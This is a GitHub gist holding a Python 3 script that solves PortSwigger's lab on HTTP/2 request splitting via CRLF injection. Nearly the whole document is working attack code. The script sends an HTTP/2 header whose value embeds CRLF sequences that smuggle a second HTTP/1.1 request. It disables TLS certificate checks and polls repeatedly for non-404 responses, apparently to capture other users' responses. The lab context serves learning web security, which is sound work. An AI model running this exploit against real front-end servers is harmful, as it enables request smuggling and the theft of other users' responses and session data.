Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save FrankSpierings/bfbcfacee8c31f971133f310b226c451 to your computer and use it in GitHub Desktop.
Save FrankSpierings/bfbcfacee8c31f971133f310b226c451 to your computer and use it in GitHub Desktop.
Python3 solution to Portswigger's Lab; HTTP/2 request splitting via CRLF injection
# Thanks to h2 for the example code and thanks to Portswigger for the awesome free labs!
# - https://python-hyper.org/projects/h2/en/stable/plain-sockets-example.html
# - https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection
#
import socket
import ssl
import h2.connection
import h2.events
import time
SERVER_NAME = '<INSERT SERVER NAME>'
SERVER_PORT = 443
try:
while True:
socket.setdefaulttimeout(15)
ctx = ssl._create_unverified_context()
ctx.set_alpn_protocols(['h2'])
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
headers = [
(':method', 'GET'),
(':path', '/x'),
(':authority', SERVER_NAME),
(':scheme', 'https'),
# CRLF Injection
('foo', f'bar\r\n\r\nGET /x HTTP/1.1\r\nHost: {SERVER_NAME}'),
]
c.send_headers(1, headers, end_stream=True)
s.sendall(c.data_to_send())
raw_response = {
'headers': [],
'body': b''
}
response_stream_ended = False
while not response_stream_ended:
# read raw data from the socket
data = s.recv(65536 * 1024)
if not data:
break
# feed raw data into h2, and process resulting events
events = c.receive_data(data)
for event in events:
if isinstance(event, h2.events.ResponseReceived):
raw_response['headers'] = event.headers
if isinstance(event, h2.events.DataReceived):
# update flow control so the server doesn't starve us
c.acknowledge_received_data(event.flow_controlled_length, event.stream_id)
# more response body data received
raw_response['body'] += event.data
if isinstance(event, h2.events.StreamEnded):
# response body completed, let's exit the loop
response_stream_ended = True
break
# send any pending data to the server
s.sendall(c.data_to_send())
# tell the server we are closing the h2 connection
c.close_connection()
s.sendall(c.data_to_send())
# close the socket
s.close()
print(raw_response['headers'])
if raw_response['headers'][0][1] != b'404':
print(raw_response['body'])
time.sleep(5)
except KeyboardInterrupt:
print('kthxbye')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment